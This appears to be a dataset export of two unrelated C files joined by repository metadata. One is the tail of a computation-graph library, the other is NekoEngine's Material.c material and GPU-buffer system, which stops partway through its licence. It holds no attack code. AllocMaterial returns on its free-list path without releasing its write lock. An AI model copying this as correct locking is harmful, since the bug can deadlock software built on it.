CGNode* makeAxisBoundNode(CGAxisBoundOperationType type, CGNode* uhs, uint8_t axis){
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_AXIS_BOUND_OPERATION;
node->axop = calloc(1, sizeof(CGAxisBoundOperation));
node->axop->type = type;
node->axop->axis = axis;
node->axop->uhs = uhs;
node->result = NULL;
node->diff = NULL;
return node;
}
CGNode* makeCrossEntropyLossFunc(CGNode* x, CGNode* y, uint64_t num_classes){
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_CROSS_ENTROPY_LOSS_FUNC;
node->crossEntropyLoss = calloc(1, sizeof(CGCrossEntropyLoss));
node->crossEntropyLoss->x = x;
node->crossEntropyLoss->y = y;
node->crossEntropyLoss->num_classes = num_classes;
node->result = NULL;
node->diff = NULL;
return node;
}
CGResultNode* makeDoubleResultNode(cg_float val){
CGDouble* Y = calloc(1, sizeof(CGDouble));
Y->value = val;
CGResultNode* result = calloc(1, sizeof(CGResultNode));
result->type = CGVT_DOUBLE;
result->value = Y;
return result;
}
CGResultNode* makeVectorResultNode(uint64_t len, cg_float* val){
CGVector* v = calloc(1, sizeof(CGVector));
v->data = val;
v->len = len;
#ifdef CG_USE_OPENCL
CCLErr * err = NULL;
if(len == 0){
printf("computer says no.\n");
}
v->buf = ccl_buffer_new(ctx, CL_MEM_READ_WRITE | CL_MEM_USE_HOST_PTR,
len * sizeof(cgcl_float), v->data, &err);
CHECK_ERROR(err)
#endif
CGResultNode* result = calloc(1, sizeof(CGResultNode));
result->type = CGVT_VECTOR;
result->value = v;
return result;
}
CGResultNode* makeMatrixResultNode(uint64_t rows, uint64_t cols, cg_float* val){
CGMatrix* m = calloc(1, sizeof(CGMatrix));
m->data = val;
m->rows = rows;
m->cols = cols;
if(rows*cols == 0){
printf("computer says no.\n");
}
#ifdef CG_USE_OPENCL
CCLErr * err = NULL;
m->buf = ccl_buffer_new(ctx, CL_MEM_READ_WRITE | CL_MEM_USE_HOST_PTR,
cols*rows * sizeof(cgcl_float), m->data, &err);
CHECK_ERROR(err)
#endif
CGResultNode* result = calloc(1, sizeof(CGResultNode));
result->type = CGVT_MATRIX;
result->value = m;
return result;
}
CGraph* makeGraph(char* name){
CGraph* graph = calloc(1, sizeof(CGraph));
graph->name = name;
map_init(&graph->vars);
vec_init(&graph->nodes);
return graph;
}
void graphSetVar(CGraph* graph, const char* name, CGNode* value){
CGNode** old = map_get(&graph->vars, name);
if(old != NULL){
//freeNode(graph, *old);
//free(*old);
map_remove(&graph->vars, name);
}
int res = map_set(&graph->vars, name, value);
}
CGNode* graphGetVar(CGraph* graph, const char* name){
CGNode** noderef = map_get(&graph->vars, name);
if (noderef == NULL)
return NULL;
return *noderef;
}
void graphUnsetVar(CGraph* graph, const char* name){
map_remove(&graph->vars, name);
}
cg_float* cg_raw_copy(cg_float* src, uint64_t len){
cg_float* dest = calloc(len, sizeof(cg_float));
memcpy(dest, src, len*sizeof(cg_float));
return dest;
}
#ifndef CG_USE_OPENCL
CGResultNode* constantNodeToResultNode(CGNode* node){
switch(node->constant->type){
case CGVT_DOUBLE:
{
CGDouble* d = (CGDouble*)node->constant->value;
return makeDoubleResultNode(d->value);
}
case CGVT_VECTOR:
{
CGVector* v = (CGVector*)node->constant->value;
return makeVectorResultNode(v->len, v->data);
}
case CGVT_MATRIX:
{
CGMatrix* m = (CGMatrix*)node->constant->value;
return makeMatrixResultNode(m->rows, m->cols, m->data);
}
}
}
CGResultNode* constantNodeToResultNodeCopy(CGNode* node){
switch(node->constant->type){
case CGVT_DOUBLE:
{
CGDouble* d = (CGDouble*)node->constant->value;
return makeDoubleResultNode(d->value);
}
case CGVT_VECTOR:
{
CGVector* v = (CGVector*)node->constant->value;
return makeVectorResultNode(v->len, cg_raw_copy(v->data, v->len));
}
case CGVT_MATRIX:
{
CGMatrix* m = (CGMatrix*)node->constant->value;
return makeMatrixResultNode(m->rows, m->cols, cg_raw_copy(m->data, m->rows*m->cols));
}
}
}
CGNode* resultNodeToConstantNodeCopy(CGResultNode* result){
switch(result->type){
case CGVT_DOUBLE:
{
CGDouble* d = (CGDouble*)result->value;
return makeDoubleConstantNode(d->value);
}
case CGVT_VECTOR:
{
CGVector* v = (CGVector*)result->value;
return makeVectorConstantNode(v->len, cg_raw_copy(v->data, v->len));
}
case CGVT_MATRIX:
{
CGMatrix* m = (CGMatrix*)result->value;
return makeMatrixConstantNode(m->rows, m->cols, cg_raw_copy(m->data, m->rows*m->cols));
}
}
}
CGNode* resultNodeToConstantNode(CGResultNode* result){
switch(result->type){
case CGVT_DOUBLE:
{
CGDouble* d = (CGDouble*)result->value;
return makeDoubleConstantNode(d->value);
}
case CGVT_VECTOR:
{
CGVector* v = (CGVector*)result->value;
return makeVectorConstantNode(v->len, v->data);
}
case CGVT_MATRIX:
{
CGMatrix* m = (CGMatrix*)result->value;
return makeMatrixConstantNode(m->rows, m->cols, m->data);
}
}
}
#else
CGNode* makeDeviceConstantVectorNode(uint64_t len, CCLBuffer* buf){
CGVector* v = calloc(1, sizeof(CGVector));
v->data = NULL;
v->len = len;
v->buf = buf;
v->loc = CG_DATALOC_DEVICE_MEM;
CGPConstant* c = calloc(1, sizeof(CGPConstant));
c->type = CGVT_VECTOR;
c->value = v;
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_CONSTANT;
node->constant = c;
node->result = NULL;
node->diff = NULL;
return node;
}
CGNode* makeDeviceConstantMatrixNode(uint64_t rows, uint64_t cols, CCLBuffer* buf){
CGMatrix* m = calloc(1, sizeof(CGMatrix));
m->data = NULL;
m->rows = rows;
m->cols = cols;
m->buf = buf;
m->loc = CG_DATALOC_DEVICE_MEM;
CGPConstant* c = calloc(1, sizeof(CGPConstant));
c->type = CGVT_MATRIX;
c->value = m;
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_CONSTANT;
node->constant = c;
node->result = NULL;
node->diff = NULL;
return node;
}
CGResultNode* makeDeviceVectorResultNode(uint64_t len, CCLBuffer* buf){
CGVector* v = calloc(1, sizeof(CGVector));
v->data = NULL;
v->len = len;
v->buf = buf;
v->loc = CG_DATALOC_DEVICE_MEM;
CGResultNode* result = calloc(1, sizeof(CGResultNode));
result->type = CGVT_VECTOR;
result->value = v;
return result;
}
CGResultNode* makeDeviceMatrixResultNode(uint64_t rows, uint64_t cols, CCLBuffer* buf){
CGMatrix* m = calloc(1, sizeof(CGMatrix));
m->data = NULL;
m->rows = rows;
m->cols = cols;
m->buf = buf;
m->loc = CG_DATALOC_DEVICE_MEM;
CGResultNode* result = calloc(1, sizeof(CGResultNode));
result->type = CGVT_MATRIX;
result->value = m;
return result;
}
CGNode* resultNodeToConstantNodeCopy(CGResultNode* result){
copyDataToHost(result);
switch(result->type){
case CGVT_DOUBLE:
{
CGDouble* d = (CGDouble*)result->value;
return makeDoubleConstantNode(d->value);
}
case CGVT_VECTOR:
{
CGVector* v = (CGVector*)result->value;
if(v->loc == CG_DATALOC_HOST_MEM)
return makeVectorConstantNode(v->len, cg_raw_copy(v->data, v->len));
else
return makeDeviceConstantVectorNode(v->len, v->buf);
}
case CGVT_MATRIX:
{
CGMatrix* m = (CGMatrix*)result->value;
if(m->loc == CG_DATALOC_HOST_MEM)
return makeMatrixConstantNode(m->rows, m->cols, cg_raw_copy(m->data, m->cols*m->rows));
else
return makeDeviceConstantMatrixNode(m->rows, m->cols, m->buf);
}
}
}
CGNode* resultNodeToConstantNode(CGResultNode* result){
{
switch(result->type){
case CGVT_DOUBLE:
{
CGDouble* d = (CGDouble*)result->value;
return makeDoubleConstantNode(d->value);
}
case CGVT_VECTOR:
{
CGVector* v = (CGVector*)result->value;
if(v->loc == CG_DATALOC_HOST_MEM)
return makeVectorConstantNode(v->len, v->data);
else
return makeDeviceConstantVectorNode(v->len, v->buf);
}
case CGVT_MATRIX:
{
CGMatrix* m = (CGMatrix*)result->value;
if(m->loc == CG_DATALOC_HOST_MEM)
return makeMatrixConstantNode(m->rows, m->cols, m->data);
else
return makeDeviceConstantMatrixNode(m->rows, m->cols, m->buf);
}
}
}
}
CGResultNode* constantNodeToResultNode(CGNode* node){
switch(node->constant->type){
case CGVT_DOUBLE:
{
CGDouble* d = (CGDouble*)node->constant->value;
return makeDoubleResultNode(d->value);
}
case CGVT_VECTOR:
{
CGVector* v = (CGVector*)node->constant->value;
if (v->loc == CG_DATALOC_HOST_MEM)
return makeVectorResultNode(v->len, v->data);
else
return makeDeviceVectorResultNode(v->len, v->buf);
}
case CGVT_MATRIX:
{
CGMatrix* m = (CGMatrix*)node->constant->value;
if (m->loc == CG_DATALOC_HOST_MEM)
return makeMatrixResultNode(m->rows, m->cols, m->data);
else
return makeDeviceMatrixResultNode(m->rows, m->cols, m->buf);
}
}
}
CGResultNode* constantNodeToResultNodeCopy(CGNode* node){
switch(node->constant->type){
case CGVT_DOUBLE:
{
CGDouble* d = (CGDouble*)node->constant->value;
return makeDoubleResultNode(d->value);
}
case CGVT_VECTOR:
{
CGVector* v = (CGVector*)node->constant->value;
if (v->loc == CG_DATALOC_HOST_MEM)
return makeVectorResultNode(v->len, cg_raw_copy(v->data, v->len));
else
return makeDeviceVectorResultNode(v->len, v->buf);
}
case CGVT_MATRIX:
{
CGMatrix* m = (CGMatrix*)node->constant->value;
if (m->loc == CG_DATALOC_HOST_MEM)
return makeMatrixResultNode(m->rows, m->cols, cg_raw_copy(m->data, m->rows*m->cols));
else
return makeDeviceMatrixResultNode(m->rows, m->cols, m->buf);
}
}
}
#endif | 2.234375 | 2 |
2024-11-18T20:50:33.426071+00:00 | 2023-05-14T16:19:30 | 8eabe3e55044853731c3e3af49656c93614324b7 | {
"blob_id": "8eabe3e55044853731c3e3af49656c93614324b7",
"branch_name": "refs/heads/master",
"committer_date": "2023-05-14T16:19:30",
"content_id": "587fe065f8e9ea220e88f13c726965d949eec31e",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "bee0bbadec00cb9c170b8b7c1e3d0786dcdc6211",
"extension": "c",
"filename": "Material.c",
"fork_events_count": 2,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 182325047,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 19978,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/Engine/Render/Material.c",
"provenance": "stackv2-0118.json.gz:44326",
"repo_name": "nalexandru/NekoEngine",
"revision_date": "2023-05-14T16:19:30",
"revision_id": "ebaeb4c286b20a37f2e29a571a733a65c2789c04",
"snapshot_id": "4e609508058c8f4f878e977a532f462d4a3b53c7",
"src_encoding": "UTF-8",
"star_events_count": 11,
"url": "https://raw.githubusercontent.com/nalexandru/NekoEngine/ebaeb4c286b20a37f2e29a571a733a65c2789c04/Engine/Render/Material.c",
"visit_date": "2023-05-24T18:17:28.492897"
} | stackv2 | #include <System/Log.h>
#include <Engine/Asset.h>
#include <Engine/Config.h>
#include <Render/Render.h>
#include <Render/Material.h>
#include <Runtime/Json.h>
#include <Runtime/Runtime.h>
#include <Engine/Resource.h>
#include <System/AtomicLock.h>
#define MAT_MOD "Material"
#define MAT_BUFFER_SIZE 2 * 1024 * 1024
struct NeMaterialBlock
{
uint64_t offset;
uint32_t size;
};
struct NeRenderPassDesc *Re_MaterialRenderPassDesc;
struct NeRenderPassDesc *Re_TransparentMaterialRenderPassDesc;
static struct NeArray f_types, f_freeList;
static NeBufferHandle f_materialBuffer;
static uint8_t *f_materialData, *f_materialPtr, *f_gpuBufferPtr;
static uint64_t f_bufferSize;
static struct NeAtomicLock f_lock = { 0, 0 };
// default material
static bool InitDefaultMaterial(const char **args, struct NeDefaultMaterial *data);
static void TermDefaultMaterial(struct NeDefaultMaterial *data);
static inline struct NePipeline *CreatePipeline(const struct NeMaterialResource *mr, struct NeShader *shader);
// material type
static inline struct NeMaterialType *FindMaterialType(const char *name, uint32_t *id);
static inline bool AllocMaterial(uint32_t size, uint64_t *offset, void **data);
static inline void FreeMaterial(uint64_t offset, uint32_t size);
static int32_t BlockCmpFunc(const struct NeMaterialBlock *b, const uint32_t *size);
static bool CreateMaterialResource(const char *name, const struct NeMaterialResourceCreateInfo *ci, struct NeMaterialResource *mr, NeHandle h);
static bool LoadMaterialResource(struct NeResourceLoadInfo *li, const char *args, struct NeMaterialResource *mr, NeHandle h);
static void UnloadMaterialResource(struct NeMaterialResource *mr, NeHandle h);
bool
Re_InitMaterial(NeHandle res, struct NeMaterial *mat)
{
struct NeMaterialResource *mr = E_ResourcePtr(res);
if (!mr)
return false;
struct NeMaterialType *mt = Rt_ArrayGet(&f_types, mr->typeId);
if (!mt)
return false;
Sys_ZeroMemory(mat, sizeof(*mat));
if (!AllocMaterial(mt->dataSize, &mat->offset, &mat->data))
return false;
mat->pipeline = CreatePipeline(mr, mt->shader);
if (!mat->pipeline)
goto error;
if (!mt->init((const char **)mr->args.data, mat->data))
goto error;
memcpy(mat->name, mr->name, sizeof(mat->name));
mat->alphaBlend = mr->alphaBlend;
return true;
error:
FreeMaterial(mat->offset, mt->dataSize);
return false;
}
void
Re_TermMaterial(struct NeMaterial *mat)
{
if (mat->type >= f_types.count) {
Sys_LogEntry(MAT_MOD, LOG_CRITICAL, "Attempt to free invalid material type for material %s", mat->name);
return;
}
struct NeMaterialType *mt = Rt_ArrayGet(&f_types, mat->type);
mt->term(mat->data);
FreeMaterial(mat->offset, mt->dataSize);
}
uint64_t
Re_MaterialAddress(struct NeMaterial *mat)
{
return Re_BufferAddress(f_materialBuffer, Re_frameId * f_bufferSize + mat->offset);
}
static bool
CreateMaterialResource(const char *name, const struct NeMaterialResourceCreateInfo *ci, struct NeMaterialResource *mr, NeHandle h)
{
mr->alphaBlend = ci->alphaBlend;
mr->primitiveType = ci->primitiveType;
strlcpy(mr->name, ci->name, sizeof(mr->name));
uint32_t id;
if (!FindMaterialType(ci->type, &id)) {
Sys_LogEntry(MAT_MOD, LOG_CRITICAL, "Failed to create material resource %s, material type %s does not exist", name, ci->type);
return false;
}
mr->typeId = id;
uint32_t argc = 0;
size_t dataSize = 0;
char **args = (char **)ci->args;
for (; args && *args; ++args) {
const char *key = *args;
const char *val = *(++args);
dataSize += strlen(key) + strlen(val) + 2;
argc += 2;
}
if (!argc)
return true;
if (!Rt_InitPtrArray(&mr->args, (uint64_t)argc + 1, MH_Asset))
return false;
uint8_t *data = Sys_Alloc(1, dataSize, MH_Asset);
if (!data)
return false;
mr->data = data;
args = (char **)ci->args;
for (; args && *args; ++args) {
const char *key = *args;
const char *val = *(++args);
size_t len = strlen(key);
Rt_ArrayAddPtr(&mr->args, data);
memcpy(data, key, len);
data += len + 1;
len = strlen(val);
Rt_ArrayAddPtr(&mr->args, data);
memcpy(data, val, len);
data += len + 1;
}
return true;
}
static bool
LoadMaterialResource(struct NeResourceLoadInfo *li, const char *args, struct NeMaterialResource *mr, NeHandle h)
{
struct NeMetadata meta =
{
.version = MATERIAL_META_VER,
.id = MATERIAL_META_ID
};
if (!Asset_LoadMetadataFromStream(&meta, &li->stm))
return false;
uint8_t *data = Sys_Alloc(1, meta.jsonSize, MH_Asset);
if (!data)
return false;
mr->data = data;
mr->primitiveType = args ? atoi(args) : PT_TRIANGLES;
if (mr->primitiveType < PT_TRIANGLES || mr->primitiveType > PT_LINES)
return false;
if (!Rt_InitPtrArray(&mr->args, 10, MH_Asset))
return false;
for (uint32_t i = 0; i < meta.tokenCount; ++i) {
jsmntok_t key = meta.tokens[i];
jsmntok_t val = meta.tokens[++i];
if (JSON_STRING("name", key, meta.json)) {
strlcpy(mr->name, meta.json + val.start, sizeof(mr->name));
} else if (JSON_STRING("type", key, meta.json)) {
char *type = meta.json + val.start;
meta.json[val.end] = 0x0;
uint32_t id;
if (!FindMaterialType(type, &id)) {
Sys_LogEntry(MAT_MOD, LOG_CRITICAL, "Failed to load material resource %s, material type %s does not exist", li->path, type);
return false;
}
mr->typeId = id;
} else if (JSON_STRING("alphaBlend", key, meta.json)) {
char *alphaBlend = meta.json + val.start;
meta.json[val.end] = 0x0;
mr->alphaBlend = strstr(alphaBlend, "true") != NULL;
} else {
Rt_ArrayAddPtr(&mr->args, data);
size_t len = (size_t)key.end - key.start;
memcpy(data, meta.json + key.start, len);
data += len + 1;
Rt_ArrayAddPtr(&mr->args, data);
len = (size_t)val.end - val.start;
memcpy(data, meta.json + val.start, len);
data += len + 1;
}
}
data = NULL;
Rt_ArrayAddPtr(&mr->args, data);
return true;
}
static void
UnloadMaterialResource(struct NeMaterialResource *mr, NeHandle h)
{
Sys_Free(mr->data);
Rt_TermArray(&mr->args);
}
bool
Re_RegisterMaterialType(const char *name, const char *shader, uint32_t dataSize, NeMaterialInitProc init, NeMaterialTermProc term)
{
struct NeMaterialType mt =
{
.hash = Rt_HashString(name),
.dataSize = dataSize,
.shader = Re_GetShader(shader),
.init = init,
.term = term
};
if (!mt.shader) {
Sys_LogEntry(MAT_MOD, LOG_CRITICAL, "Shader %s not found for material type %s", shader, name);
return false;
}
strlcpy(mt.name, name, sizeof(mt.name));
if (!Rt_ArrayAdd(&f_types, &mt))
return false;
Rt_ArraySort(&f_types, Rt_U64CmpFunc);
return true;
}
bool
Re_InitMaterialSystem(void)
{
if (!E_RegisterResourceType(RES_MATERIAL, sizeof(struct NeMaterialResource), (NeResourceCreateProc)CreateMaterialResource,
(NeResourceLoadProc)LoadMaterialResource, (NeResourceUnloadProc)UnloadMaterialResource))
return false;
f_bufferSize = E_GetCVarU64("Render_MaterialBufferSize", MAT_BUFFER_SIZE)->u64;
struct NeBufferCreateInfo bci =
{
.desc =
{
.size = f_bufferSize * RE_NUM_FRAMES,
.usage = BU_TRANSFER_DST | BU_STORAGE_BUFFER,
.memoryType = MT_CPU_COHERENT
},
};
if (!Re_CreateBuffer(&bci, &f_materialBuffer))
return false;
f_gpuBufferPtr = Re_MapBuffer(f_materialBuffer);
if (!f_gpuBufferPtr) {
Re_Destroy(f_materialBuffer);
return false;
}
f_materialData = Sys_Alloc(1, f_bufferSize, MH_Render);
f_materialPtr = f_materialData;
Rt_InitArray(&f_types, 10, sizeof(struct NeMaterialType), MH_Render);
Re_RegisterMaterialType("Default", "DefaultPBR_MR", sizeof(struct NeDefaultMaterial),
(NeMaterialInitProc)InitDefaultMaterial, (NeMaterialTermProc)TermDefaultMaterial);
enum NeAttachmentSampleCount samples = ASC_1_SAMPLE;// E_GetCVarI32("Render_Samples", ASC_1_SAMPLE)->i32;
struct NeAttachmentDesc atDesc =
{
.mayAlias = false,
.format = Re_SwapchainFormat(Re_swapchain),
.loadOp = ATL_CLEAR,
.storeOp = ATS_STORE,
.samples = samples,
.initialLayout = TL_UNKNOWN,
.layout = TL_COLOR_ATTACHMENT,
.finalLayout = TL_COLOR_ATTACHMENT,
.clearColor = { .3f, .0f, .4f, 1.f }
};
struct NeAttachmentDesc depthDesc =
{
.mayAlias = true,
.format = TF_D32_SFLOAT,
.loadOp = ATL_LOAD,
.storeOp = ATS_STORE,
.samples = samples,
.initialLayout = TL_DEPTH_ATTACHMENT,
.layout = TL_DEPTH_ATTACHMENT,
.finalLayout = TL_DEPTH_ATTACHMENT
};
struct NeAttachmentDesc normalDesc =
{
.mayAlias = false,
.format = TF_R16G16B16A16_SFLOAT,
.loadOp = ATL_LOAD,
.storeOp = ATS_STORE,
.samples = samples,
.initialLayout = TL_SHADER_READ_ONLY,
.layout = TL_SHADER_READ_ONLY,
.finalLayout = TL_SHADER_READ_ONLY,
.clearColor = { .3f, .0f, .4f, 1.f }
};
Re_MaterialRenderPassDesc = Re_CreateRenderPassDesc(&atDesc, 1, &depthDesc, &normalDesc, 1);
atDesc.loadOp = ATL_LOAD;
atDesc.initialLayout = TL_COLOR_ATTACHMENT;
atDesc.finalLayout = TL_PRESENT_SRC;
Re_TransparentMaterialRenderPassDesc = Re_CreateRenderPassDesc(&atDesc, 1, &depthDesc, &normalDesc, 1);
Rt_InitArray(&f_freeList, 10, sizeof(struct NeMaterialBlock), MH_Render);
return true;
}
void
Re_TransferMaterials(void)
{
Sys_AtomicLockRead(&f_lock);
memcpy(f_gpuBufferPtr + f_bufferSize * Re_frameId, f_materialData, f_bufferSize);
Sys_AtomicUnlockRead(&f_lock);
}
void
Re_TermMaterialSystem(void)
{
Re_DestroyRenderPassDesc(Re_TransparentMaterialRenderPassDesc);
Re_DestroyRenderPassDesc(Re_MaterialRenderPassDesc);
Sys_Free(f_materialData);
Rt_TermArray(&f_types);
Rt_TermArray(&f_freeList);
Re_Destroy(f_materialBuffer);
}
static bool
InitDefaultMaterial(const char **args, struct NeDefaultMaterial *data)
{
NeHandle diffuseMap = NE_INVALID_HANDLE, normalMap = NE_INVALID_HANDLE,
metallicRoughnessMap = NE_INVALID_HANDLE, occlusionMap = NE_INVALID_HANDLE,
clearCoatMap = NE_INVALID_HANDLE, clearCoatRoughnessMap = NE_INVALID_HANDLE,
clearCoatNormalMap = NE_INVALID_HANDLE, emissiveMap = NE_INVALID_HANDLE,
transmissionMap = NE_INVALID_HANDLE, opacityMap = NE_INVALID_HANDLE;
data->metallic = 1.f;
data->roughness = 1.f;
data->specularWeight = 1.f;
data->diffuseColor[0] = data->diffuseColor[1] = data->diffuseColor[2] = data->diffuseColor[3] = 1.f;
for (; args && *args; ++args) {
const char *arg = *args;
size_t len = strlen(arg);
if (!len)
continue;
if (!strncmp(arg, "Metallic", len)) {
data->metallic = strtof((char *)*(++args), NULL);
} else if (!strncmp(arg, "Roughness", len)) {
data->roughness = strtof((char *)*(++args), NULL);
} else if (!strncmp(arg, "AlphaCutoff", len)) {
data->alphaCutoff = strtof((char *)*(++args), NULL);
} else if (!strncmp(arg, "ClearCoat", len)) {
data->clearCoat = strtof((char *)*(++args), NULL);
} else if (!strncmp(arg, "ClearCoatRoughness", len)) {
data->clearCoatRoughness = strtof((char *)*(++args), NULL);
} else if (!strncmp(arg, "SpecularWeight", len)) {
data->specularWeight = strtof((char *)*(++args), NULL);
} else if (!strncmp(arg, "DiffuseMap", len)) {
diffuseMap = E_LoadResource(*(++args), RES_TEXTURE);
} else if (!strncmp(arg, "NormalMap", len)) {
normalMap = E_LoadResource(*(++args), RES_TEXTURE);
} else if (!strncmp(arg, "MetallicRoughnessMap", len)) {
metallicRoughnessMap = E_LoadResource(*(++args), RES_TEXTURE);
} else if (!strncmp(arg, "OcclusionMap", len)) {
occlusionMap = E_LoadResource(*(++args), RES_TEXTURE);
} else if (!strncmp(arg, "ClearCoatMap", len)) {
clearCoatMap = E_LoadResource(*(++args), RES_TEXTURE);
} else if (!strncmp(arg, "ClearCoatNormalMap", len)) {
clearCoatNormalMap = E_LoadResource(*(++args), RES_TEXTURE);
} else if (!strncmp(arg, "ClearCoatRoughnessMap", len)) {
clearCoatRoughnessMap = E_LoadResource(*(++args), RES_TEXTURE);
} else if (!strncmp(arg, "EmissiveMap", len)) {
emissiveMap = E_LoadResource(*(++args), RES_TEXTURE);
} else if (!strncmp(arg, "TransmissionMap", len)) {
transmissionMap = E_LoadResource(*(++args), RES_TEXTURE);
} else if (!strncmp(arg, "OpacityMap", len)) {
opacityMap = E_LoadResource(*(++args), RES_TEXTURE);
} else if (!strncmp(arg, "DiffuseColor", len)) {
char *ptr = (char *)*(++args);
data->diffuseColor[0] = strtof(ptr, &ptr);
data->diffuseColor[1] = strtof(ptr + 2, &ptr);
data->diffuseColor[2] = strtof(ptr + 2, &ptr);
data->diffuseColor[3] = strtof(ptr + 2, &ptr);
} else if (!strncmp(arg, "EmissiveColor", len)) {
char *ptr = (char *)*(++args);
data->emissionColor[0] = strtof(ptr, &ptr);
data->emissionColor[1] = strtof(ptr + 2, &ptr);
data->emissionColor[2] = strtof(ptr + 2, &ptr);
} else {
Sys_LogEntry("DefaultMaterial", LOG_WARNING, "Unknown property %hs", arg);
++args;
}
}
data->diffuseMap = diffuseMap != NE_INVALID_HANDLE ? E_ResHandleToGPU(diffuseMap) : 0;
data->normalMap = normalMap != NE_INVALID_HANDLE ? E_ResHandleToGPU(normalMap) : 0;
data->metallicRoughnessMap = metallicRoughnessMap != NE_INVALID_HANDLE ? E_ResHandleToGPU(metallicRoughnessMap) : 0;
data->occlusionMap = occlusionMap != NE_INVALID_HANDLE ? E_ResHandleToGPU(occlusionMap) : 0;
data->transmissionMap = transmissionMap != NE_INVALID_HANDLE ? E_ResHandleToGPU(transmissionMap) : 0;
data->emissionMap = emissiveMap != NE_INVALID_HANDLE ? E_ResHandleToGPU(emissiveMap) : 0;
data->clearCoatRoughnessMap = clearCoatRoughnessMap != NE_INVALID_HANDLE ? E_ResHandleToGPU(clearCoatRoughnessMap) : 0;
data->clearCoatNormalMap = clearCoatNormalMap != NE_INVALID_HANDLE ? E_ResHandleToGPU(clearCoatNormalMap) : 0;
data->clearCoatMap = clearCoatMap != NE_INVALID_HANDLE ? E_ResHandleToGPU(clearCoatMap) : 0;
data->alphaMaskMap = opacityMap != NE_INVALID_HANDLE ? E_ResHandleToGPU(opacityMap) : 0;
return true;
}
static void
TermDefaultMaterial(struct NeDefaultMaterial *data)
{
#define UNLOAD_TEX(x) if (x) E_UnloadResource(E_GPUHandleToRes(x, RES_TEXTURE))
UNLOAD_TEX(data->diffuseMap);
UNLOAD_TEX(data->normalMap);
UNLOAD_TEX(data->metallicRoughnessMap);
UNLOAD_TEX(data->occlusionMap);
UNLOAD_TEX(data->transmissionMap);
UNLOAD_TEX(data->emissionMap);
UNLOAD_TEX(data->clearCoatRoughnessMap);
UNLOAD_TEX(data->clearCoatNormalMap);
UNLOAD_TEX(data->clearCoatMap);
UNLOAD_TEX(data->alphaMaskMap);
}
static inline struct NePipeline *
CreatePipeline(const struct NeMaterialResource *mr, struct NeShader *shader)
{
struct NeVertexAttribute attribs[] =
{
{ 0, 0, VF_FLOAT3, 0, AS_POSITION }, // float x, y, z;
// { 2, 0, VF_FLOAT3, sizeof(float) * 6 }, // float tx, ty, tz;
{ 1, 0, VF_FLOAT2, sizeof(float) * 9, AS_TEXCOORD0 }, // float u, v;
{ 2, 0, VF_FLOAT4, sizeof(float) * 11, AS_COLOR }, // float r, g, b, a;
{ 3, 0, VF_FLOAT3, sizeof(float) * 3, AS_NORMAL } // float nx, ny, nz;
};
struct NeVertexBinding bindings[] =
{
{ 0, sizeof(struct NeVertex), VIR_VERTEX }
};
struct NeBlendAttachmentDesc blendAttachments[] =
{
{
.enableBlend = mr->alphaBlend,
.writeMask = RE_WRITE_MASK_RGBA,
.srcColor = RE_BF_SRC_ALPHA,
.dstColor = RE_BF_ONE_MINUS_SRC_ALPHA,
.colorOp = RE_BOP_ADD,
.srcAlpha = RE_BF_ONE,
.dstAlpha = RE_BF_ZERO,
.alphaOp = RE_BOP_ADD
}
};
struct NeGraphicsPipelineDesc desc =
{
.flags = RE_POLYGON_FILL |
RE_CULL_NONE | RE_FRONT_FACE_CCW |
RE_DEPTH_TEST /*| RE_DEPTH_WRITE*/ |
(mr->alphaBlend ? RE_DEPTH_OP_GREATER_EQUAL : RE_DEPTH_OP_EQUAL),
.stageInfo = &shader->opaqueStages,
.renderPassDesc = Re_MaterialRenderPassDesc,
.pushConstantSize = sizeof(struct NeMaterialRenderConstants),
.attachmentCount = sizeof(blendAttachments) / sizeof(blendAttachments[0]),
.attachments = blendAttachments,
.vertexDesc.attributes = attribs,
.vertexDesc.attributeCount = sizeof(attribs) / sizeof(attribs[0]) - (mr->alphaBlend ? 0 : 1),
.vertexDesc.bindings = bindings,
.vertexDesc.bindingCount = sizeof(bindings) / sizeof(bindings[0])
};
switch (mr->primitiveType) {
case PT_TRIANGLES: desc.flags |= RE_TOPOLOGY_TRIANGLES; break;
case PT_POINTS: desc.flags |= RE_TOPOLOGY_POINTS; break;
case PT_LINES: desc.flags |= RE_TOPOLOGY_LINES; break;
}
if (mr->alphaBlend && shader->transparentStages.stageCount)
desc.stageInfo = &shader->transparentStages;
return Re_GraphicsPipeline(&desc);
}
static inline struct NeMaterialType *
FindMaterialType(const char *name, uint32_t *id)
{
uint64_t hash = Rt_HashString(name);
size_t typeId = Rt_ArrayBSearchId(&f_types, &hash, Rt_U64CmpFunc);
if (typeId == RT_NOT_FOUND)
return NULL;
if (id)
*id = (uint32_t)typeId;
return Rt_ArrayGet(&f_types, typeId);
}
static inline bool
AllocMaterial(uint32_t size, uint64_t *offset, void **data)
{
Sys_AtomicLockWrite(&f_lock);
/*
* This will search only for a free block with the same size; this
* is usually true.
*/
if (f_freeList.count) {
size_t id = Rt_ArrayFindId(&f_freeList, &size, (RtCmpFunc)BlockCmpFunc);
if (id != RT_NOT_FOUND) {
struct NeMaterialBlock *b = Rt_ArrayGet(&f_freeList, id);
*offset = b->offset;
*data = f_materialData + *offset;
Rt_ArrayRemove(&f_freeList, id);
return true;
}
}
*offset = f_materialPtr - f_materialData;
if (*offset + size >= f_bufferSize) {
Sys_AtomicUnlockWrite(&f_lock);
return false;
}
*data = f_materialPtr;
f_materialPtr += size;
Sys_AtomicUnlockWrite(&f_lock);
return true;
}
static inline void
FreeMaterial(uint64_t offset, uint32_t size)
{
Sys_AtomicLockWrite(&f_lock);
struct NeMaterialBlock b = { .offset = offset, .size = size };
Rt_ArrayAdd(&f_freeList, &b);
Sys_AtomicUnlockWrite(&f_lock);
}
static int32_t
BlockCmpFunc(const struct NeMaterialBlock *b, const uint32_t *size)
{
return (b->size == *size) ? 0 : -1;
}
/* NekoEngine
*
* Material.c
* Author: Alexandru Naiman
*
* -----------------------------------------------------------------------------
*
* Copyright (c) 2015-2023, Alexandru Naiman
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
